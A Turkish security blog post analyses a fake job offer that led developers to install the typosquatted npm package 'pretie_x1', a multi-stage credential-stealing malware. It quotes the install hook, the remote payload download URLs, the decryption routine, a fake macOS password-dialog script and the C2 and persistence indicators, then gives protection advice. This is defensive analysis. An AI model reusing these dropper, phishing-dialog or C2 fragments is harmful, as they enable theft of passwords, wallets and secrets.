22 Haziran 2026’da “Adam Q” imzalı bir email aldım. Foxtopia adında bir NFT staking frontend projesini bitirmem için $7,500 teklif ediyordu. Emailde kaynak kodun Google Drive linki vardı. Kaynak kodlar temiz görünüyordu. package.json‘daki devDependencies bölümünde bir tane fazla paket vardı ama, o hiç temiz değildi: pretie_x1 adında, prettier‘ın typosquat kopyası bir npm paketi. Bu projede npm install çalıştıran herkesin makinesinden tarayıcı şifreleri, kripto cüzdanları, SSH anahtarları, .env dosyaları çalınıyor. Hatta sahte bir sistem dialogu ile işletim sistemi parolanız bile isteniyor.

Aikido Intel ekibi pretie_x1‘in 5 versiyonunun tamamını (3.8.5 - 3.8.9) yayınlandıktan dakikalar sonra malware olarak tespit etmiş. Otomatik algılama sistemi, çoğu geliştiricinin package.json taramasında gözden kaçıracağı şeyi yakalamış.

Bu yazıda saldırının her aşamasını, emailden son decrypt edilmiş payload’a kadar detaylıca analiz ediyorum.

Email

Adam Q'dan $7,500 NFT staking projesi teklif eden phishing emaili

Email adamq@hr.culyrax.us adresinden, Mailgun üzerinden (IP 159.135.228.8) gönderilmiş. SPF, DKIM ve DMARC hepsini geçiyor. hr.culyrax.us domain’i bu kampanya için özel olarak kurulmuş. “HR” subdomain’i güzel bir dokunuş.

Klasik developer hedefli sosyal mühendislik:

  • “GitHub profilinizi gördüm, işlerinizin kalitesinden etkilendim”
  • Önceki developer parayı alıp kaybolmuş (aciliyet + sempati)
  • $7,500 bütçe, sadece kodu incelemek için $500 peşin
  • Gerçek görünen bir Figma tasarım linki
  • Google Drive’da “kaynak kod”

Saldırganın tek istediği şey: npm install çalıştırmanız.

Tuzak proje

Zip dosyası (foxtopia-frontend.zip, SHA256: c0f368...6ef) standart bir Next.js 12 projesi. 50 dosya. React componentleri, SCSS stilleri, SVG ikonlar, font dosyaları. Her şey meşru görünüyor.

package.json‘dan kritik kısım:

{
  "devDependencies": {
    "@types/node": "17.0.18",
    "@types/react": "17.0.39",
    "eslint": "8.9.0",
    "eslint-config-next": "12.1.0",
    "typescript": "4.5.5",
    "pretie_x1": "^3.8.9"
  }
}

Son satır hariç her şey normal. pretie_x1, prettier‘ın typosquat’ı. devDependencies‘de bir code formatter’ın doğal olarak duracağı yerde oturuyor. Paket isimlerini karakter karakter okumadığınız sürece fark etmezsiniz.

Stage 1: dropper (pretie_x1)

pretie_x1 paketinin (yayıncı: dennis.gladwell, email: dennisgladwell.000@gmail.com) postinstall hook’u var:

{ "scripts": { "install": "node cli.js" } }

lib/mirror.js dosyasındaki dropper, base64-encoded iki URL’den Stage 2 payload’u indirir:

https://deep-ai-detect.xyz/install_guard_d.js    (primary)
https://trixauvex.org/install_guard_d.js          (fallback)

Payload /tmp/bsl-<PID>.js olarak kaydedilip detached, gizli process olarak çalıştırılır. CI ortamında çalışıyorsa (CI=true) sessizce çıkar, tespit edilmemek için.

Stage 2: şifreli loader

İndirilen dosya 748KB obfuscated JavaScript. Tek işi Stage 3’ü decrypt edip çalıştırmak:

const key = Buffer.from("8b3f1a7c4e2d6f90...21065", "hex");
// AES-256-GCM: iv (12 byte) + authTag (16 byte) + ciphertext
const decipher = crypto.createDecipheriv("aes-256-gcm", key, iv);
// Decrypt -> Module._compile() ile çalıştır -> kendini sil (unlinkSync)

Hardcoded AES-256-GCM anahtarı. Decrypt edilen kod Module._compile() ile yükleniyor (eval eşdeğeri ama module scope’unda). Process exit’te loader kendini diskten siliyor.

Analiz makinesinde hardcoded key ile decrypt ettim:

import re, base64
from Crypto.Cipher import AES

with open("stage2_primary.js", "r") as f:
    content = f.read()

match = re.search(r'const _0xp=Buffer\.from\("([^"]+)"', content)
blob = base64.b64decode(match.group(1))

key = bytes.fromhex("8b3f1a7c4e2d6f90a1c5b8d2e7f346096d9e2a8b1c5f7034e3d7a4b9c8f21065")
iv = blob[:12]
auth_tag = blob[12:28]
ciphertext = blob[28:]

cipher = AES.new(key, AES.MODE_GCM, nonce=iv)
decrypted = cipher.decrypt_and_verify(ciphertext, auth_tag)

with open("stage3_decrypted.js", "wb") as f:
    f.write(decrypted)

557,876 byte okunabilir JavaScript çıktı.

Stage 3: info-stealer

Decrypt edilen payload kapsamlı bir credential harvesting ve data exfiltration aracı.

Ne çalıyor

Tarayıcı şifreleri (Chrome, Brave, Edge, Opera, Vivaldi, Firefox): Login Data’yı decrypt ederek (Windows’ta DPAPI, macOS’ta Keychain, Linux’ta libsecret/keyring), cookie’leri, autofill verilerini, kredi kartı bilgilerini çalıyor.

Kripto cüzdanlar: Metamask, Phantom, Exodus, Atomic, Electrum, Bitcoin core, Ethereum, Solana. Hem tarayıcı extension storage’ı hem desktop wallet dosyaları (.wallet, .dat, seed, mnemonic).

Developer secret’ları: SSH anahtarları, .env dosyaları, .npmrc, .gitconfig, PEM/PFX/P12 sertifika dosyaları, API key’ler, dosya adında password, secret, credential, mnemonic, seed geçen her şey.

Parola phishing’i

macOS‘ta sahte sistem dialogu gösteriyor:

const script = 'display dialog "macOS needs your password to apply system updates '
  + 'and verify drivers and security settings." default answer "" '
  + 'with hidden answer with title "System Preferences" with icon caution';
execFileSync("/usr/bin/osascript", ["-e", script]);

Linux‘ta zenity veya kdialog ile aynısını yapıyor. Girilen parola dscl -authonly (macOS) veya su -c true (Linux) ile doğrulanıyor. Doğruysa ~/.local/share/google/login_password dosyasına cache’leniyor.

Persistence

Platform Yöntem
macOS /Library/LaunchDaemons/com.google.UpdateSupporter.plist (root LaunchDaemon, RunAtLoad + KeepAlive). Phish edilen parolayla sudo kullanıyor.
Windows Scheduled Task: wscript.exe ile gizli VBS wrapper, logon trigger, RestartCount=999.
Linux ~/.config/autostart/ GNOME autostart entry.

macOS persistence’ı kendini Google servisi gibi gösteriyor. LaunchDaemon label’ı com.google.UpdateSupporter. State dizini ~/.local/share/google/. Chrome ve diğer Google yazılımlarının zaten veri yazdığı dizinlere karışıyor.

Veri sızdırma

Çalınan veriler ZIP arşivlerine paketlenip HTTPS POST ile C2 sunucusuna yükleniyor. Üç fazda: (1) env dosyaları, SSH anahtarları, cüzdan dosyaları, (2) tarayıcı şifreleri (OS parolası gerektirir), (3) genel dosya taraması ve git metadata.

C2 altyapısı

Saldırgan dead drop pattern’i kullanıyor. Stage 3 payload, C2 domain’lerini GitLab’daki public bir repodan çekiyor:

https://gitlab.com/drop-indexing/tasks/-/raw/main/config.json

Analiz sırasında bu endpoint şunu döndü:

["api.domatisc.ink", "api.coslyintra.online"]

Primary C2 domain’i deep-ai-detect.xyz, emailin gönderildiği gün (22 Haziran 2026) NameCheap’ten kaydedilmiş, Cloudflare arkasında.

IOC’ler

# Email
Sender:            adamq@hr.culyrax.us (Mailgun IP: 159.135.228.8)

# Zip
SHA256:            c0f368439252ebf8765246725ca9be2ee6aa0ff339a799469d8916c15006f6ef

# npm paketi
pretie_x1          (v3.8.5, v3.8.6, v3.8.7, v3.8.8, v3.8.9, yayıncı: dennis.gladwell)

# Stage 2
SHA256:            4b6c471ae5b5dc9dccf2ba6977e8342a2ea4c621c79953c0b272a651a015b98d
AES key:           8b3f1a7c4e2d6f90a1c5b8d2e7f346096d9e2a8b1c5f7034e3d7a4b9c8f21065

# C2
deep-ai-detect.xyz, trixauvex.org, api.domatisc.ink, api.coslyintra.online

# Dead drop
gitlab.com/drop-indexing/tasks/-/raw/main/config.json

# Persistence
/Library/LaunchDaemons/com.google.UpdateSupporter.plist   (macOS)
~/.local/share/google/                                     (state dir)

Bu saldırı neden işe yarıyor

Saldırgan sizden şüpheli bir binary çalıştırmanızı istemiyor. Bir frontend projesini incelemenizi istiyor. Her geliştiricinin iş akışı npm install ile başlar. Kötü amaçlı paket, linter ve formatter’ların doğal olarak durduğu devDependencies‘de gizleniyor. pretie_x1 ismi prettier‘a yeterince yakın.

$7,500 bütçe ve “önceki developer parayı alıp kaçtı” hikayesi, aciliyet hissi yaratırken şüphe uyandırmayacak şekilde kalibre edilmiş. Sadece kodu incelemek için $500 peşin teklif ediliyor. Yani projeyi clone’layıp çalıştırmanız yeterli. Saldırganın tam olarak istediği şey bu.

Kendinizi nasıl korursunuz

npm install çalıştırmadan önce package.json‘u okuyun. Her dependency’yi karakter karakter. Bu örnekte prettier yerine pretie_x1 yazıyordu. Alt çizgi ve x1 suffix’i fark edilmesi gereken ipuçları. Önce npm install --ignore-scripts çalıştırıp postinstall hook’ları inceleyin. Bu malware’in tek giriş noktası bir postinstall hook. --ignore-scripts ile çalıştırıp paket içeriğine baksaydınız, cli.js‘in lib/mirror.js‘e, oradan da base64-encoded URL’lere gittiğini görürdünüz. Bir code formatter bunu yapmaz.

Güvenmediğiniz kodu asla geliştirme makinenizde çalıştırmayın. Birisi size incelemeniz için proje gönderiyorsa disposable bir ortam kullanın: Docker, VM, tear down edebileceğiniz bir cloud instance. Geliştirme makinenizde SSH anahtarları, tarayıcıda kayıtlı şifreler, kripto cüzdan extension’ları, production credential’ları olan .env dosyaları var. Bu malware’in hedef listesi tam olarak bunlar.

npm paket metadata’sını kontrol edin. pretie_x1 bilinmeyen bir yayıncıya aitti ve sıfır haftalık indirme sayısına sahipti. Gerçek prettier‘ın milyonlarca indirmesi var. Ve kod çalıştırmanızı gerektiren istenmeyen iş tekliflerine şüpheyle yaklaşın. Mailgun ile disposable domain’lerden gelen emailler, kaybolan önceki developer hikayesi, “inceleme” için peşin ödeme teklifi: bunları fark etmek için güvenlik eğitimi almış olmak gerekmiyor. Bu kampanyanın tüm profili bunlardan oluşuyor.

Referanslar

İlgili içerik